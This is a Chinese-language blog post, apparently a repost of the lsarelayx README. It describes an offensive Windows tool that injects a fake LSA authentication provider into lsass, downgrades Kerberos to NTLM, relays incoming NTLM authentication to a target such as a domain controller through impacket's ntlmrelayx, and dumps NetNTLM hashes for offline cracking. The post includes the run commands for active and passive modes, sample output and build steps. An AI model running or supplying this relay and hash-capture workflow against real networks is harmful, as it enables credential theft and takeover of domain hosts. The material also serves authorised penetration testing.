Windows 的 NTLM 中继

2022-01-06 11:01:29 浏览数 (1)

lsarelayx 是系统范围的 NTLM 中继工具,旨在将传入的基于 NTLM 的身份验证中继到运行它的主机。lsarelayx 将中继任何传入的身份验证请求,其中包括 SMB。由于 lsarelayx 挂钩到现有的应用程序身份验证流,该工具还将在中继完成后尝试为原始身份验证请求提供服务。这将防止目标应用程序/协议显示错误,并为最终用户针对 lsarelayx 主机进行身份验证正常工作。

特征

  • 在系统范围内中继 NTLM 连接,包括 SMB、HTTP/HTTPS、LDAP/LDAPS 或任何其他实现 Windows 身份验证 API 的第三方应用程序。
  • 在可能的情况下,将传入的 Kerberos 身份验证请求降级为 NTLM。这将导致传统上尝试 Kerberos 身份验证的客户端回退到 NTLM。
  • 为中继用户执行 LDAP 查询以获取组成员身份信息并为原始请求创建正确的身份验证令牌。
  • 转储 NetNTLM 消息以供离线破解。
  • 支持不中继且仅转储捕获的 NetNTLM 哈希的被动模式(在此模式下没有 Kerberos 降级)。

怎么运行的

lsarelayx 分为三个部分。在 liblsarelay.dll 中实现的虚假 LSA 身份验证提供程序、作为控制接口的用户模式控制台应用程序和名为 RAW 的新 ntlmrelayx 服务器模块。

liblsarelayx.dll

liblsarelayx.dll 是由 lsarelayx 加载的 LSA 身份验证提供程序。它的主要目的是挂钩 NTLM 和 Negotiate 包,以便通过本地命名管道将身份验证请求重定向到 lsarelayx,以便中继和转储 NetNTLM 哈希。liblsarelayx 被设计得尽可能简单,其中所有繁重的工作都由 lsarelayx 执行

lsarelayx.exe

lsarelayx.exe 是主控制台应用程序,用于加载自定义 LSA 身份验证提供程序 (liblsarelayx.dll),侦听来自身份验证提供程序的传入 NTLM 和协商令牌,并中继到 ntlmrelayx 的 RAW 服务器模块。该工具还执行 LDAP 查询,用于捕获中继用户的组信息并将其传递回 LSA 身份验证提供程序。

RAW ntlmrelayx 模块

impacket 的 ntlmrelayx 已经实施了大量创建中继攻击的工作,并将在未来继续改进和增加进一步的攻击。为了利用这一优势直接在 lsarelayx 中重新实施攻击,创建了一个名为 RAW 的新 ntlmrelayx 服务器模块。目前在 GitHub 上有一个实现 RAW 服务器模块的PR。RAW 服务器模块与协议无关,旨在直接接受来自 lsarelayx 等 3rd 方软件的原始 NTLM 消息。

直到 PR 合并到主线 impacket repo 中,您才能使用此版本

用法

主动模式

首先启动ntmlrelayx RAW 服务器模块,监听从lsarelayx 传递过来的RAW NTLM 消息。

代码语言:javascript复制
python examplesntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Impacket v0.9.24.dev1 20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

lsarelayx 本身需要本地管理员权限才能运行。要在主动中继模式下运行,需要指定 ntlmrelayx 运行原始服务器模块的主机地址。默认端口是 6666。这可以用--port参数覆盖,但请确保也使用--raw-port参数覆盖了 ntlmrelayx 端的端口。

代码语言:javascript复制
lsarelayx.exe --host 192.168.1.1
[ ] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:usersAdministratorDesktopliblsarelayx.dll

被动模式

您还可以通过不带任何参数运行以被动模式运行 lsarelayx

代码语言:javascript复制
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:usersAdministratorDesktopliblsarelayx.dll

注意事项

一旦将 liblsarelayx DLL 加载到 lsass 中,由于 LSA 插件工作方式的限制,目前您无法卸载它。可以关闭客户端,这将使 DLL 进入休眠状态,直到客户端再次启动,但 DLL 将一直使用,直到发生重新启动。

由于 LSA 插件实际上并不是真正的插件,因此计划在插件内部实现一个反射加载器,然后可以随意停止和启动,但这是另一天的练习。

开发是在 Windows 10 和 Server 2016 上进行的。在 Windows Server 2012 R2 上进行了快速测试,该测试有效,但挂钩偏移的计算可能会在 2012 上失败(这可以使用 手动提供lookuppackage-hint=,如果出错,Windows 将重新启动)。没有在桌面端 Windows 10 以下的任何东西上进行过测试,也没有在 Server 2019 上进行过任何测试。

!!警告!!

liblsarelayx.dll 将被加载到关键的 lsass.exe 进程中。如果 liblsarelayx.dll 有任何导致 lsass.exe 崩溃的错误,主机在 60 秒后重新启动。尽管已尽最大努力编写无错误代码,但我不能保证任何事情。不要向我哭诉您在使用 lsarelayx 后因为繁忙的文件服务器崩溃而关闭了您的财富 500 强客户端。

建造

码头工人

如果您安装了 docker,这是最快的选择。它利用ccob/windows_cross预安装了所有构建依赖项的映像。

Windows 上的 Docker (Powershell)
代码语言:javascript复制
docker run --rm -it -v $env :pwd : /root/lsarelayx ccob/windows_cross:latest /bin/bash -c " cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/ lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip "
Linux 上的 Docker
代码语言:javascript复制
docker run --rm -it -v $( pwd ) :/root/lsarelayx ccob/windows_cross:latest /bin/bash -c " cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx /dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip "

Linux

在 Linux 上,我们使用 CMake 工具链和 MinGW 编译器。这些需要事先安装。对于托管组件,请确保也从 .NET core 安装了 dotnet 命令行工具

代码语言:javascript复制
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip

Windows (Powershell)

在尝试构建之前,Windows 将需要完整的 CMake、MinGW 和 Visual Studio 设置,如果您没有安装开发环境,这是最痛苦的构建方式

代码语言:javascript复制
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip

0 人点赞